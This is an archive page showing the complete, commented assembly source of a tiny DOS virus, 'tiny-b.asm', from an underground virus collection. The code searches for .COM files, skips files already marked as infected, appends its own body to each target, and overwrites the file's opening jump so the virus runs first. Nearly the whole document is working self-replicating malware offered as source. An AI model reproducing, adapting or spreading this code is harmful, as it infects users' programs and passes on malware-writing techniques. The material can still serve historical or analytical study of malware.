home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / t / tiny-b.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  4.4 KB  |  103 lines

  1.     PAGE    ,132
  2.  
  3. tinyv   SEGMENT BYTE PUBLIC 'code'
  4.  
  5.         ASSUME  CS:tinyv
  6.  
  7.         ASSUME  SS:tinyv
  8.  
  9.         ASSUME  DS:tinyv
  10.  
  11. H00000    DB    0
  12.  
  13. H00001    DB    255 DUP(?)
  14.  
  15. program  PROC    FAR
  16.  
  17.         ASSUME  ES:tinyv
  18.  
  19. begin:
  20.  
  21.         JMP     pgstart                 ; start program
  22.  
  23. exlbl   LABEL   BYTE
  24.  
  25.         db      0CDh, 20h, 7, 8, 9
  26.  
  27. pgstart:
  28.  
  29.         CALL    tinyvir
  30.  
  31. mnprg   PROC    NEAR
  32.  
  33. tinyvir:
  34.  
  35.         POP     SI                      ; get SI for storage
  36.  
  37.         SUB     SI,offset tinyvir       ; reset SI to virus start
  38.  
  39.         MOV     BP,[SI+blnkdat]         ; store SI in BP for return
  40.  
  41.         ADD     BP,offset exlbl         ; Add to get original offset
  42.  
  43.         LEA     DX,[SI+fspec]           ; get filespec (*.COM)
  44.  
  45.         SUB     CX,CX                   ;        ||    (clear regs)
  46.  
  47.         MOV     AH,4EH                  ;        ||   (find files)
  48.  
  49. mainloop:                               ;       \||/
  50.  
  51.         INT     21H                     ;    ----\/----
  52.  
  53.         JC      ack                     ; no more files found, terminate virus
  54.  
  55.         MOV     DX,009EH                ; set file name pointer
  56.  
  57.         MOV     AX,3D02H                ; open file
  58.  
  59.         INT     21H                     ; do it!
  60.  
  61.         MOV     BX,AX                   ; move file handle to BX
  62.  
  63.         MOV     AH,3FH                  ; read file
  64.  
  65.         JMP     whatever
  66.  
  67. ack:
  68.  
  69.         JMP     nofile
  70.  
  71. whatever:
  72.  
  73.         LEA     DX,[SI+endprog]         ; load end of program (as buffer pntr)
  74.  
  75.         MOV     DI,DX                   ; set Dest Index to area for buffer (?)
  76.  
  77.         MOV     CX,0003H                ; read 3 bytes
  78.  
  79.         INT     21H                     ; do it!
  80.  
  81.         CMP     BYTE PTR [DI],0E9H      ; check for JMP at start
  82.  
  83.         JE      infect                  ; If begins w/JMP, Infect
  84.  
  85. nextfile:
  86.  
  87.         MOV     AH,4FH                  ; set int 21 to find next file
  88.  
  89.         JMP     mainloop                ; next file, do it!
  90.  
  91. infect:
  92.  
  93.         MOV     DX,[DI+01H]             ; set # of bytes to move
  94.  
  95.         MOV     [SI+blnkdat],DX         ;  "  " "    "   "   "
  96.  
  97.         SUB     CX,CX                   ;  "  " "    "   "   " (0 here)
  98.  
  99.         NOP
  100.  
  101.         MOV     AX,4200H                ; move file
  102.  
  103.         INT     21H                     ; do it!
  104.  
  105.         MOV     DX,DI                   ; set dest index to area for buffer (?)
  106.  
  107.         MOV     CX,0002H                ; two bytes
  108.  
  109.         NOP
  110.  
  111.         MOV     AH,3FH                  ; read file
  112.  
  113.         INT     21H                     ; do it!
  114.  
  115.         CMP     WORD PTR [DI],0807H     ; check for infection
  116.  
  117.         JE      nextfile                ; next file if infected
  118.  
  119.         NOP
  120.  
  121.         SUB     DX,DX                   ; clear regs
  122.  
  123.         SUB     CX,CX                   ;   "    "
  124.  
  125.         MOV     AX,4202H                ; move file pointer
  126.  
  127.         INT     21H                     ; do it!
  128.  
  129.         CMP     DX,00H                  ; new pointer location 0?
  130.  
  131.         NOP
  132.  
  133.         JNE     nextfile                ; if no then next file
  134.  
  135.         CMP     AH,0FEH                 ; new pointer loc too high?
  136.  
  137.         JNC     nextfile                ; yes, try again
  138.  
  139.         MOV     [SI+offset endprog+3],AX; point to data
  140.  
  141.         NOP
  142.  
  143.         MOV     AH,40H                  ; write instruction
  144.  
  145.         LEA     DX,[SI+0105H]           ; write buffer loc    |
  146.  
  147.         MOV     CX,offset endprog-105h  ; (size of virus)  --\|/--
  148.  
  149.         INT     21H                     ; do it!
  150.  
  151.         JC      exit                    ; error, bug out
  152.  
  153.         MOV     AX,4200H                ; move pointer
  154.  
  155.         NOP
  156.  
  157.         SUB     CX,CX                   ; clear reg
  158.  
  159.         MOV     DX,OFFSET H00001        ; where to set pointer
  160.  
  161.         NOP
  162.  
  163.         INT     21H                     ; do it!
  164.  
  165.         MOV     AH,40H                  ; write to file
  166.  
  167.         LEA     DX,[SI+offset endprog+3]; write data at SI+1AB
  168.  
  169.         NOP
  170.  
  171.         MOV     CX,0002H                ; two bytes (the JMP)
  172.  
  173.         INT     21H                     ; do it!
  174.  
  175. exit:
  176.  
  177.         MOV     AH,3EH                  ; close file
  178.  
  179.         INT     21H                     ; do it!
  180.  
  181. nofile:
  182.  
  183.         JMP     BP                      ; go to original file
  184.  
  185. mnprg   ENDP
  186.  
  187. program  ENDP
  188.  
  189. blnkdat LABEL   WORD
  190.  
  191.         DW      0000H
  192.  
  193. fspec   LABEL   WORD
  194.  
  195.         DB      '*.COM'
  196.  
  197.     DB    0
  198.  
  199. endprog LABEL   WORD
  200.  
  201. tinyv   ENDS
  202.  
  203.         END     program
  204.  
  205.